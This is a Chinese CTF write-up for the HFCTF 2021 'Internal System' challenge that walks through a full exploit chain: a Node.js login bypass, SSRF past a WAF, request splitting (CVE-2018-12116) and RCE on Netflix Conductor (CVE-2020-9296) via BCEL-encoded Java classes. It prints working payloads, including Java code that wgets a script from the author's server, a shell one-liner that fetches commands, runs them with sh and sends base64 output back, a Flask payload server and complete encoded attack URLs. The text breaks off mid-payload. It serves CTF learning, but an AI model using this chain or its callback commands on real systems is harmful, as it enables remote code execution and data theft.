前言

前面发过虎符 CTF2021 的 Web 三个题的 WriteUp,还有一个题,觉得和那三道题不大一样,还是挺有意思的。

该题目前已经在 BUUCTF 上线,可以点击下面的链接进行复现。

https://buuoj.cn/challenges#[%E8%99%8E%E7%AC%A6CTF%202021]Internal%20System

知识点

  • NodeJS 代码审计
  • NodeJS 弱类型
  • NodeJS 请求拆分 SSRF
  • Netflix Conductor 1day
  • Java BCEL 编码

步骤

1.首先打开靶机,可以看到有一个登录界面。查看页面源码,里面有查看源码地址。

2. 打开源码,开审。

const express = require('express')
const router = express.Router()

const axios = require('axios')

const isIp = require('is-ip')
const IP = require('ip')

const UrlParse = require('url-parse')

const {sha256, hint} = require('./utils')

const salt = 'nooooooooodejssssssssss8_issssss_beeeeest'

const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin')) // 管理员 hash,结合下面的的代码,要求输入的用户名和密码均为 admin

const port = process.env.PORT || 3000

function formatResopnse(response) {
  if(typeof(response) !== typeof('')) {
    return JSON.stringify(response)
  } else {
    return response
  }
}

function SSRF_WAF(url) { // 判断 URL 所请求的地址是否在内网
  const host = new UrlParse(url).hostname.replace(/\[|\]/g, '')

  return isIp(host) && IP.isPublic(host)
}

function FLAG_WAF(url) { // 判断 URL 所请求的 uri 开头是否为 /flag
  const pathname = new UrlParse(url).pathname
  return !pathname.startsWith('/flag')
}

function OTHER_WAF(url) { // 没啥用
  return true;
}

const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF] // 组合

router.get('/', (req, res, next) => {
  if(req.session.admin === undefined || req.session.admin === null) {
    res.redirect('/login')
  } else {
    res.redirect('/index')
  }
})

router.get('/login', (req, res, next) => {
  const {username, password} = req.query;

  if(!username || !password || username === password || username.length === password.length || username === 'admin') { // 主要判断是否输入,以及所输入的用户名和密码是否一致,以及用户名是否为 admin,如果是的话,直接拦截
    res.render('login')
  } else {
    const hash = sha256(sha256(salt + username) + sha256(salt + password)) // 组合成 hash

    req.session.admin = hash === adminHash // 与管理员 hash 比较,对上了就给 session 里这个东西赋值真

    res.redirect('/index')
  }
})

router.get('/index', (req, res, next) => {
  if(req.session.admin === undefined || req.session.admin === null) {
    res.redirect('/login')
  } else {
    res.render('index', {admin: req.session.admin, network: JSON.stringify(require('os').networkInterfaces())})
  }
})

router.get('/proxy', async(req, res, next) => {
  if(!req.session.admin) { // 要求以 admin 才行
    return res.redirect('/index')
  }
  const url = decodeURI(req.query.url);

  console.log(url)

  const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b) // WAF 轮一遍

  if(!status) { // 全为真才会往下走
    res.render('base', {title: 'WAF', content: "Here is the waf..."})
  } else {
    try {
      const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`) // 请求本地的 /search 接口
      res.render('base', response.data)
    } catch(error) {
      res.render('base', error.message)
    }
  }
})

router.post('/proxy', async(req, res, next) => { // 测试 post 方法的,没有可控参数,用不上
  if(!req.session.admin) {
    return res.redirect('/index')
  }
  // test url
  // not implemented here
  const url = "https://postman-echo.com/post"
  await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
  res.render('base', "Something needs to be implemented")
})


router.all('/search', async (req, res, next) => { // 匹配所有请求方法
  if(!/127\.0\.0\.1/.test(req.ip)){ // 判断是否是本地发起,本地能发起的只有 /proxy 那个接口了
    return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
  }

  const result = {title: 'Search Success', content: ''}

  const method = req.method.toLowerCase() // 获取请求这个接口时所用方法
  const url = decodeURI(req.query.url) // 获取 url 参数
  const data = req.body // 获取请求这个接口时的请求体

  try {
    if(method == 'get') { // GET 方法走这里
      const response = await axios.get(url) // 转发,请求 url
      result.content = formatResopnse(response.data)
    } else if(method == 'post') { // POST 方法走这里
      const response = await axios.post(url, data) // 会带着请求体发过去
      result.content = formatResopnse(response.data)
    } else {
      result.title = 'Error'
      result.content = 'Unsupported Method'
    }
  } catch(error) {
    result.title = 'Error'
    result.content = error.message
  }

  return res.json(result)
})

router.get('/source', (req, res, next)=>{
  res.sendFile( __dirname + "/" + "index.js");
})

router.get('/flag', (req, res, next) => {
  if(!/127\.0\.0\.1/.test(req.ip)){ // 判断是否为本地请求
    return res.send({title: 'Error', content: 'No Flag For You!'})
  }
  return res.json({hint: hint}) // 给出 hint
})

module.exports = router

流程如下:

  1. /login 登录。
  2. /proxy 发出代理请求。
  3. /search 接受请求,进行真正的访问。

那么看下来,要做如下几件事:

  1. 以管理员身份登录。
  2. 绕过 WAF,利用 /proxy 接口进行任意 SSRF。
  3. SSRF 到 /flag,拿到 hint。

目前能做的就是那么多了。

3. 一个个来,首先要以管理员身份登录,再回来看看登录那部分代码。

router.get('/login', (req, res, next) => {
  const {username, password} = req.query;

  if(!username || !password || username === password || username.length === password.length || username === 'admin') { // 主要判断是否输入,以及所输入的用户名和密码是否一致,以及用户名是否为 admin,如果是的话,直接拦截
    res.render('login')
  } else {
    const hash = sha256(sha256(salt + username) + sha256(salt + password)) // 组合成 hash

    req.session.admin = hash === adminHash // 与管理员 hash 比较,对上了就给 session 里这个东西赋值真

    res.redirect('/index')
  }
})

想要以管理员身份登录,就必须用户名输入 admin, 密码输入 admin。

但此处却把用户名 admin 给拦了,那该怎么办呢。

我们在 NodeJS 里先做一个实验。

test = ['admin']
console.log(test === 'admin') // false
console.log('glzjin' + test) // glzjinadmin

可以看到,我们给 test 赋的是 list,它与字符串进行全等比较必然得到 false,但当它直接和字符串进行拼接的时候仍然会被转成字符串,而且里面元素的内容不丢失。这里利用这个特性来绕过正合适。

所以,只要请求 /login?username[]=admin&password=admin,即可成功以 admin 登录。

4. 接下来我们会跳转到一个代理器页面,通过这个页面我们可以直接访问到外网的页面。(在复现时为了方便我还把内网地址也显示出来了:)比赛时候这个地址只能靠猜,不过也是 Docker 网络默认的地址,还好)

但请求本机或者内网地址的时候,会被 WAF,意料之中。

那么就要想办法绕过一下,最简单的办法,就是尝试一下 0.0.0.0,请求时如果用这个地址,会默认访问到本机上。只要是本机监听的端口,都会被请求到。

http://0.0.0.0:3000 先试试这个行不行。

可以的。

那么那些只限制本地访问的接口,比如 /search,就能访问了。

5. 但对于 /flag,我们还是无法用这个 /proxy 接口访问,因为 /proxy 有 WAF,但对于 /proxy 后面请求的 /search,它没有 WAF,我们可以利用它来请求 /flag。

URL 输入 http://0.0.0.0:3000/search?url=http://127.0.0.1:3000/flag。

6. 拿到提示,内网有一个 Netflix Conductor 服务器,网上找到它的端口在 8080,那么先来探测一下内网,找一下哪台机器是那个服务器。

http://0.0.0.0:3000/search?url=http://10.0.17.10:8080/

http://0.0.0.0:3000/search?url=http://10.0.17.11:8080/

http://0.0.0.0:3000/search?url=http://10.0.17.12:8080/

http://0.0.0.0:3000/search?url=http://10.0.17.14:8080/

在 10.0.17.14 的时候有了回应。

是 Swagger,也就是 Netflix Conductor 的文档页,后面就是 Netflix Conductor Server 了。

7. 目标找着了,就是内网这台 10.0.17.14。

查查 Netflix Conductor 的文档。

那么先 /api/admin/config 来看看他的版本,

http://0.0.0.0:3000/search?url=http://10.0.17.14:8080/api/admin/config

2.26,不算新,也不算旧。

8. 再来看看有什么 1day 没,在先知上找到这一篇 https://xz.aliyun.com/t/7889#toc-4 ,这个 CVE-2020-9296 资料库里写着影响版本只到 2.25.3,这上面这个版本似乎高了些,但其他的洞也没找到,在自己不想现挖的情况下试一试也无妨,死马当活马医嘛。

9. 那么就来构造一下 Payload。这个漏洞出在 /api/metadata/taskdefs 上,需要 POST 一个 Json 过去,里面含有恶意的 BCEL编码,可以造成 RCE。

那么首先得准备一下 BCEL 编码。

我们先在本地创建一个 Evil.java。此处主要是从我们自己的服务器上获取一个文件存到本地,一来是检测有没有打成功,二来也是为后面的 RCE 做准备。为什么不直接反弹 Shell 呢?试了很多次,因为靶机中没有 bash,反弹 shell 比较麻烦,所以就很难受。

Evil.java

public class Evil
{
    public Evil() {
        try {
            Runtime.getRuntime().exec("wget http://172.247.76.183:9998 -O /tmp/glzjin");
        }
        catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    public static void main(final String[] array) {
    }
}

然后使用 javac Evil.java 将其编译。

最后使用 https://github.com/f1tz/BCELCodeman 这个工具将其转码为 BCEL 编码。

java -jar BCELCodeman.jar e Evil.class 

这时你可能会发现它只出现了一小段编码,这说明 Java 版本不合适,需要调整版本,这里以 MacOS 为例。

export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_211.jdk/Contents/Home/

然后重新 javac 编译,然后编码。

$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5d$_$DA$U$3d$b3$adn$bbZm$d1R$9f$c5$83$ov$e3$p$aa$88$X$e1$a9$3e$a2$N$P$5el$d7$a4$a6$da$edfM$R$7f$c8$b3$X$c4$83$l$e0G$e1$ceFT$c2$qsf$ee$b9g$ce$bd3$f3$fe$f1$fa$G$60$V3$G$a2$Y4$90A6$8a$n$b5$O$eb$c8$Z$e8$c1$88$8eQ$jc$M$91$z$e1$K$b9$cd$Q$w$cc$9d0$84w$da$X$9c$nY$W$$$3f$e8$b4j$dc$af$da$b5$s1$89$8a$b4$9d$ab$7d$db$L$e2$e0t$8e$e4$z$5b$b8$M$d9$c2Y$b9a$df$d8V$d3v$ebVE$fa$c2$ado$w$3b$a3$d2$ee$f8$O$df$T$ca$o$b6$7b$p$9a$a6$d2$c5$R$83$a1c$3c$8e$JL2$98$b7u$$$f3$97Rz$h$96$b5T$5c6$97W$8bfq$cd$5cZ_$d9$u$95J$eb$f9$c5$c3$bc$r$5b$9eUo$de7$84$hG$kS$M$D$dd$8a$bbw$O$f7$a4hSj$g$G$b5$a5$w1$a4$ba$8a$c3Z$83$3b$92$n$dd$a5$8e$3b$ae$U$z$ea$cb$a0$ea$3fA$a60W$fe$a3$d9$qK$7e$c7$j$86$d9$c2$3f$X$fdE$j$f9m$87__$d3$81$a4GI$Z$bcZ$d5$b7$j$8e$v$e8$f4$hjh$60$ea$B$I$7b$v$3a$a7X$a35$3b$ff$M$f6$C$ad$3f$f4$84$f0$e9$D$a2$e5$85$tD$kI$VF$C$v$fa4$Nq$d2$8d$mB$Y$o$b6$87$f8$Yet$a4$c99C$8e$J$ca$a4$a0$7d$S0$j$7d$K$92$e1$40$93$fe$ae$96$a3$c9$d4$7c$M6$ca0$S$Q$J$c2$fe$a0$b9$81$_$n$f1$86$f6$40$C$A$A

然后把它给组合到 json 里。

[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5d$_$DA$U$3d$b3$adn$bbZm$d1R$9f$c5$83$ov$e3$p$aa$88$X$e1$a9$3e$a2$N$P$5el$d7$a4$a6$da$edfM$R$7f$c8$b3$X$c4$83$l$e0G$e1$ceFT$c2$qsf$ee$b9g$ce$bd3$f3$fe$f1$fa$G$60$V3$G$a2$Y4$90A6$8a$n$b5$O$eb$c8$Z$e8$c1$88$8eQ$jc$M$91$z$e1$K$b9$cd$Q$w$cc$9d0$84w$da$X$9c$nY$W$$$3f$e8$b4j$dc$af$da$b5$s1$89$8a$b4$9d$ab$7d$db$L$e2$e0t$8e$e4$z$5b$b8$M$d9$c2Y$b9a$df$d8V$d3v$ebVE$fa$c2$ado$w$3b$a3$d2$ee$f8$O$df$T$ca$o$b6$7b$p$9a$a6$d2$c5$R$83$a1c$3c$8e$JL2$98$b7u$$$f3$97Rz$h$96$b5T$5c6$97W$8bfq$cd$5cZ_$d9$u$95J$eb$f9$c5$c3$bc$r$5b$9eUo$de7$84$hG$kS$M$D$dd$8a$bbw$O$f7$a4hSj$g$G$b5$a5$w1$a4$ba$8a$c3Z$83$3b$92$n$dd$a5$8e$3b$ae$U$z$ea$cb$a0$ea$3fA$a60W$fe$a3$d9$qK$7e$c7$j$86$d9$c2$3f$X$fdE$j$f9m$87__$d3$81$a4GI$Z$bcZ$d5$b7$j$8e$v$e8$f4$hjh$60$ea$B$I$7b$v$3a$a7X$a35$3b$ff$M$f6$C$ad$3f$f4$84$f0$e9$D$a2$e5$85$tD$kI$VF$C$v$fa4$Nq$d2$8d$mB$Y$o$b6$87$f8$Yet$a4$c99C$8e$J$ca$a4$a0$7d$S0$j$7d$K$92$e1$40$93$fe$ae$96$a3$c9$d4$7c$M6$ca0$S$Q$J$c2$fe$a0$b9$81$_$n$f1$86$f6$40$C$A$A').newInstance().class}","ownerEmail":"test@example.org","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]

最后是我们的请求。

POST /api/metadata/taskdefs? HTTP/1.1
Host: 10.0.241.14:8080
Content-Type: application/json
cache-control: no-cache
Postman-Token: 7bd50be1-2152-46d6-b16e-8245df0141dc
[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5d$_$DA$U$3d$b3$adn$bbZm$d1R$9f$c5$83$ov$e3$p$aa$88$X$e1$a9$3e$a2$N$P$5el$d7$a4$a6$da$edfM$R$7f$c8$b3$X$c4$83$l$e0G$e1$ceFT$c2$qsf$ee$b9g$ce$bd3$f3$fe$f1$fa$G$60$V3$G$a2$Y4$90A6$8a$n$b5$O$eb$c8$Z$e8$c1$88$8eQ$jc$M$91$z$e1$K$b9$cd$Q$w$cc$9d0$84w$da$X$9c$nY$W$$$3f$e8$b4j$dc$af$da$b5$s1$89$8a$b4$9d$ab$7d$db$L$e2$e0t$8e$e4$z$5b$b8$M$d9$c2Y$b9a$df$d8V$d3v$ebVE$fa$c2$ado$w$3b$a3$d2$ee$f8$O$df$T$ca$o$b6$7b$p$9a$a6$d2$c5$R$83$a1c$3c$8e$JL2$98$b7u$$$f3$97Rz$h$96$b5T$5c6$97W$8bfq$cd$5cZ_$d9$u$95J$eb$f9$c5$c3$bc$r$5b$9eUo$de7$84$hG$kS$M$D$dd$8a$bbw$O$f7$a4hSj$g$G$b5$a5$w1$a4$ba$8a$c3Z$83$3b$92$n$dd$a5$8e$3b$ae$U$z$ea$cb$a0$ea$3fA$a60W$fe$a3$d9$qK$7e$c7$j$86$d9$c2$3f$X$fdE$j$f9m$87__$d3$81$a4GI$Z$bcZ$d5$b7$j$8e$v$e8$f4$hjh$60$ea$B$I$7b$v$3a$a7X$a35$3b$ff$M$f6$C$ad$3f$f4$84$f0$e9$D$a2$e5$85$tD$kI$VF$C$v$fa4$Nq$d2$8d$mB$Y$o$b6$87$f8$Yet$a4$c99C$8e$J$ca$a4$a0$7d$S0$j$7d$K$92$e1$40$93$fe$ae$96$a3$c9$d4$7c$M6$ca0$S$Q$J$c2$fe$a0$b9$81$_$n$f1$86$f6$40$C$A$A').newInstance().class}","ownerEmail":"test@example.org","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]

9. 请求有了,但之前 /proxy 接口只能发出可控的 GET 请求和不可控的 POST 请求,我们该如何把这个 POST 请求发出去呢?再回到 NodeJS 那部分的代理上。

router.get('/proxy', async(req, res, next) => {
  if(!req.session.admin) { // 要求以 admin 才行
    return res.redirect('/index')
  }
  const url = decodeURI(req.query.url);

  console.log(url)

  const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b) // WAF 轮一遍

  if(!status) { // 全为真才会往下走
    res.render('base', {title: 'WAF', content: "Here is the waf..."})
  } else {
    try {
      const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`) // 请求本地的 /search 接口
      res.render('base', response.data)
    } catch(error) {
      res.render('base', error.message)
    }
  }
})

router.post('/proxy', async(req, res, next) => { // 测试 post 方法的,没有可控参数,用不上
  if(!req.session.admin) {
    return res.redirect('/index')
  }
  // test url
  // not implemented here
  const url = "https://postman-echo.com/post"
  await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
  res.render('base', "Something needs to be implemented")
})


router.all('/search', async (req, res, next) => { // 匹配所有请求方法
  if(!/127\.0\.0\.1/.test(req.ip)){ // 判断是否是本地发起,本地能发起的只有 /proxy 那个接口了
    return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
  }

  const result = {title: 'Search Success', content: ''}

  const method = req.method.toLowerCase() // 获取请求这个接口时所用方法
  const url = decodeURI(req.query.url) // 获取 url 参数
  const data = req.body // 获取请求这个接口时的请求体

  try {
    if(method == 'get') { // GET 方法走这里
      const response = await axios.get(url) // 转发,请求 url
      result.content = formatResopnse(response.data)
    } else if(method == 'post') { // POST 方法走这里
      const response = await axios.post(url, data) // 会带着请求体发过去
      result.content = formatResopnse(response.data)
    } else {
      result.title = 'Error'
      result.content = 'Unsupported Method'
    }
  } catch(error) {
    result.title = 'Error'
    result.content = error.message
  }

  return res.json(result)
})

我们可以看到,/proxy 的 GET 部分 URL 均为我们可控。且 axios 的 http 协议支持部分调用的是 NodeJS 的 http 库来实现的,我们就可以尝试利用 http 库 NodeJS 8 时的请求拆分漏洞(https://www.cvedetails.com/cve/CVE-2018-12116/)来构造 POST 请求。

写一个小测试。

axios.get('http://127.0.0.1:8888/?param=x\u{0120}HTTP/1.1\u{010D}\u{010A}Host:{\u0120}127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private')
    .then((r) => console.log(r.data))
    .catch(console.error)

很好,成功换行,请求被拆分了。

写一个小脚本构造如下。

post_payload = '[\u{017b}\u{0122}name\u{0122}:\u{0122}$\u{017b}\u{0127}1\u{0127}.getClass().forName(\u{0127}com.sun.org.apache.bcel.internal.util.ClassLoader\u{0127}).newInstance().loadClass(\u{0127}$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5d$_$DA$U$3d$b3$adn$bbZm$d1R$9f$c5$83$ov$e3$p$aa$88$X$e1$a9$3e$a2$N$P$5el$d7$a4$a6$da$edfM$R$7f$c8$b3$X$c4$83$l$e0G$e1$ceFT$c2$qsf$ee$b9g$ce$bd3$f3$fe$f1$fa$G$60$V3$G$a2$Y4$90A6$8a$n$b5$O$eb$c8$Z$e8$c1$88$8eQ$jc$M$91$z$e1$K$b9$cd$Q$w$cc$9d0$84w$da$X$9c$nY$W$$$3f$e8$b4j$dc$af$da$b5$s1$89$8a$b4$9d$ab$7d$db$L$e2$e0t$8e$e4$z$5b$b8$M$d9$c2Y$b9a$df$d8V$d3v$ebVE$fa$c2$ado$w$3b$a3$d2$ee$f8$O$df$T$ca$o$b6$7b$p$9a$a6$d2$c5$R$83$a1c$3c$8e$JL2$98$b7u$$$f3$97Rz$h$96$b5T$5c6$97W$8bfq$cd$5cZ_$d9$u$95J$eb$f9$c5$c3$bc$r$5b$9eUo$de7$84$hG$kS$M$D$dd$8a$bbw$O$f7$a4hSj$g$G$b5$a5$w1$a4$ba$8a$c3Z$83$3b$92$n$dd$a5$8e$3b$ae$U$z$ea$cb$a0$ea$3fA$a60W$fe$a3$d9$qK$7e$c7$j$86$d9$c2$3f$X$fdE$j$f9m$87__$d3$81$a4GI$Z$bcZ$d5$b7$j$8e$v$e8$f4$hjh$60$ea$B$I$7b$v$3a$a7X$a35$3b$ff$M$f6$C$ad$3f$f4$84$f0$e9$D$a2$e5$85$tD$kI$VF$C$v$fa4$Nq$d2$8d$mB$Y$o$b6$87$f8$Yet$a4$c99C$8e$J$ca$a4$a0$7d$S0$j$7d$K$92$e1$40$93$fe$ae$96$a3$c9$d4$7c$M6$ca0$S$Q$J$c2$fe$a0$b9$81$_$n$f1$86$f6$40$C$A$A\u{0127}).newInstance().class\u{017d}\u{0122},\u{0122}ownerEmail\u{0122}:\u{0122}test@example.org\u{0122},\u{0122}retryCount\u{0122}:\u{0122}3\u{0122},\u{0122}timeoutSeconds\u{0122}:\u{0122}1200\u{0122},\u{0122}inputKeys\u{0122}:[\u{0122}sourceRequestId\u{0122},\u{0122}qcElementType\u{0122}],\u{0122}outputKeys\u{0122}:[\u{0122}state\u{0122},\u{0122}skipped\u{0122},\u{0122}result\u{0122}],\u{0122}timeoutPolicy\u{0122}:\u{0122}TIME_OUT_WF\u{0122},\u{0122}retryLogic\u{0122}:\u{0122}FIXED\u{0122},\u{0122}retryDelaySeconds\u{0122}:\u{0122}600\u{0122},\u{0122}responseTimeoutSeconds\u{0122}:\u{0122}3600\u{0122},\u{0122}concurrentExecLimit\u{0122}:\u{0122}100\u{0122},\u{0122}rateLimitFrequencyInSeconds\u{0122}:\u{0122}60\u{0122},\u{0122}rateLimitPerFrequency\u{0122}:\u{0122}50\u{0122},\u{0122}isolationgroupId\u{0122}:\u{0122}myIsolationGroupId\u{0122}\u{017d}]'
console.log(encodeURI(encodeURI(encodeURI('http://0.0.0.0:3000/\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/search?url=http://10.0.241.14:8080/api/metadata/taskdefs\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}Content-Type:application/json\u{010D}\u{010A}Content-Length:' + post_payload.length + '\u{010D}\u{010A}\u{010D}\u{010A}' + post_payload+ '\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'))))

得到我们最终请求的 Payload URL。

http://0.0.0.0:3000/%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258APOST%2525C4%2525A0/search?url=http://10.0.241.14:8080/api/metadata/taskdefs%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258AContent-Type:application/json%2525C4%25258D%2525C4%25258AContent-Length:1527%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%25255B%2525C5%2525BB%2525C4%2525A2name%2525C4%2525A2:%2525C4%2525A2$%2525C5%2525BB%2525C4%2525A71%2525C4%2525A7.getClass().forName(%2525C4%2525A7com.sun.org.apache.bcel.internal.util.ClassLoader%2525C4%2525A7).newInstance().loadClass(%2525C4%2525A7$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5d$_$DA$U$3d$b3$adn$bbZm$d1R$9f$c5$83$ov$e3$p$aa$88$X$e1$a9$3e$a2$N$P$5el$d7$a4$a6$da$edfM$R$7f$c8$b3$X$c4$83$l$e0G$e1$ceFT$c2$qsf$ee$b9g$ce$bd3$f3$fe$f1$fa$G$60$V3$G$a2$Y4$90A6$8a$n$b5$O$eb$c8$Z$e8$c1$88$8eQ$jc$M$91$z$e1$K$b9$cd$Q$w$cc$9d0$84w$da$X$9c$nY$W$$$3f$e8$b4j$dc$af$da$b5$s1$89$8a$b4$9d$ab$7d$db$L$e2$e0t$8e$e4$z$5b$b8$M$d9$c2Y$b9a$df$d8V$d3v$ebVE$fa$c2$ado$w$3b$a3$d2$ee$f8$O$df$T$ca$o$b6$7b$p$9a$a6$d2$c5$R$83$a1c$3c$8e$JL2$98$b7u$$$f3$97Rz$h$96$b5T$5c6$97W$8bfq$cd$5cZ_$d9$u$95J$eb$f9$c5$c3$bc$r$5b$9eUo$de7$84$hG$kS$M$D$dd$8a$bbw$O$f7$a4hSj$g$G$b5$a5$w1$a4$ba$8a$c3Z$83$3b$92$n$dd$a5$8e$3b$ae$U$z$ea$cb$a0$ea$3fA$a60W$fe$a3$d9$qK$7e$c7$j$86$d9$c2$3f$X$fdE$j$f9m$87__$d3$81$a4GI$Z$bcZ$d5$b7$j$8e$v$e8$f4$hjh$60$ea$B$I$7b$v$3a$a7X$a35$3b$ff$M$f6$C$ad$3f$f4$84$f0$e9$D$a2$e5$85$tD$kI$VF$C$v$fa4$Nq$d2$8d$mB$Y$o$b6$87$f8$Yet$a4$c99C$8e$J$ca$a4$a0$7d$S0$j$7d$K$92$e1$40$93$fe$ae$96$a3$c9$d4$7c$M6$ca0$S$Q$J$c2$fe$a0$b9$81$_$n$f1$86$f6$40$C$A$A%2525C4%2525A7).newInstance().class%2525C5%2525BD%2525C4%2525A2,%2525C4%2525A2ownerEmail%2525C4%2525A2:%2525C4%2525A2test@example.org%2525C4%2525A2,%2525C4%2525A2retryCount%2525C4%2525A2:%2525C4%2525A23%2525C4%2525A2,%2525C4%2525A2timeoutSeconds%2525C4%2525A2:%2525C4%2525A21200%2525C4%2525A2,%2525C4%2525A2inputKeys%2525C4%2525A2:%25255B%2525C4%2525A2sourceRequestId%2525C4%2525A2,%2525C4%2525A2qcElementType%2525C4%2525A2%25255D,%2525C4%2525A2outputKeys%2525C4%2525A2:%25255B%2525C4%2525A2state%2525C4%2525A2,%2525C4%2525A2skipped%2525C4%2525A2,%2525C4%2525A2result%2525C4%2525A2%25255D,%2525C4%2525A2timeoutPolicy%2525C4%2525A2:%2525C4%2525A2TIME_OUT_WF%2525C4%2525A2,%2525C4%2525A2retryLogic%2525C4%2525A2:%2525C4%2525A2FIXED%2525C4%2525A2,%2525C4%2525A2retryDelaySeconds%2525C4%2525A2:%2525C4%2525A2600%2525C4%2525A2,%2525C4%2525A2responseTimeoutSeconds%2525C4%2525A2:%2525C4%2525A23600%2525C4%2525A2,%2525C4%2525A2concurrentExecLimit%2525C4%2525A2:%2525C4%2525A2100%2525C4%2525A2,%2525C4%2525A2rateLimitFrequencyInSeconds%2525C4%2525A2:%2525C4%2525A260%2525C4%2525A2,%2525C4%2525A2rateLimitPerFrequency%2525C4%2525A2:%2525C4%2525A250%2525C4%2525A2,%2525C4%2525A2isolationgroupId%2525C4%2525A2:%2525C4%2525A2myIsolationGroupId%2525C4%2525A2%2525C5%2525BD%25255D%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258AGET%2525C4%2525A0/private

10. 接下来就可以发送试试了,当然在此之前,先把我们服务器上的小礼物准备好,也就是我们前面写在 Evil.java 里的自己服务器上的程序。

app.py,对外提供 9998 端口上的 http 服务。

import os
from flask import Flask,redirect
from flask import request


app = Flask(__name__)

@app.route('/')
def hello():
    return open("test1.txt").read()

@app.route('/command.txt')
def hello1():
    return open("command1.txt").read()

if __name__ == '__main__':
    port = int(os.environ.get('PORT', 9998))
    app.run(host='0.0.0.0', port=port)

test1.txt,目的让服务器接收到命令之后将结果回传。

#!/bin/sh
wget http://172.247.76.183:9998/1?a=`wget -O- http://172.247.76.183:9998/command|sh|base64`

command1.txt,想执行什么都在这里写。

whoami

11. 万事俱备,打。

然后再按照第 8~9 步的方法,再生成一个执行 sh /tmp/glzjin 的 Payload,来把我们之前下载的脚本执行。

Evil.java

public class Evil
{
    public Evil() {
        try {
            Runtime.getRuntime().exec("sh /tmp/glzjin");
        }
        catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    public static void main(final String[] array) {
    }
}

javac Evil.java 之后,重新编码成 BCEL。

替换之前小脚本中的 BCEL。

post_payload = '[\u{017b}\u{0122}name\u{0122}:\u{0122}$\u{017b}\u{0127}1\u{0127}.getClass().forName(\u{0127}com.sun.org.apache.bcel.internal.util.ClassLoader\u{0127}).newInstance().loadClass(\u{0127}$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2$40$U$3dS$k$85$K$f2$S$U$7c$81$$$EMd$e3$O$e3$c6$e0$K$l$R$a2$L7$96$3a$a9$83$d06e$m$c4$lr$cd$G$8d$L$3f$c0$8fR$ef4FLt$929w$ee$b9g$ce$9d$c7$fb$c7$eb$h$80$Dl$h$88a$c9$40$k$85$Y$96U$5c$d1Q4$QAI$c7$aa$8e5$86$e8$a1p$84$3cb$IUkW$M$e1c$f7$8e3$a4Z$c2$e1g$a3A$97$fb$j$b3$db$t$s$d9$96$a6$f5pjzA$k$ec$$$92$7c$60$K$87$a1P$bdi$f5$cc$b1Y$ef$9b$8e$5doK_8vC$d9$Zmw$e4$5b$fcD$u$8bxs$y$fa$fbJ$97$40$i$86$8e$f5$E6$b0$c9$b08$bc$_$d7$e5$c0$ab$db$fd$c7$9ep$S$u$a3$c2$90$9b$3b6$t$W$f7$a4p$a9$b4$F$83$da$w$t$86$f4$5cq$de$edqK2d$e6$d4$e5$c8$91b$40$7d$N$9b$cb$9f$q_$ad$b5$feh$gd$c9$t$dcb$d8$a9$fes$91_$d4$85$efZ$7c8$a4$N$v$8f$8a2x$95$8eoZ$i$V$e8$f4$dajh$60$ea$82$84$L$94$ddR$aeQ$y$ec$3e$83$bd$40$cb$86f$I_$3f$n$d6$da$9b$n$3a$rU$YI$a4$e9S4$qHWB$940Dl$84$f88Utd$c89O$8eI$aa$a4$a1$7d$S0$j$8b$KR$e1$40$93$f9$eeV$a4$c9$d4$9c$G$Le$Y$N$88$qa68$5c$ee$L$VXu$96$m$C$A$A\u{0127}).newInstance().class\u{017d}\u{0122},\u{0122}ownerEmail\u{0122}:\u{0122}test@example.org\u{0122},\u{0122}retryCount\u{0122}:\u{0122}3\u{0122},\u{0122}timeoutSeconds\u{0122}:\u{0122}1200\u{0122},\u{0122}inputKeys\u{0122}:[\u{0122}sourceRequestId\u{0122},\u{0122}qcElementType\u{0122}],\u{0122}outputKeys\u{0122}:[\u{0122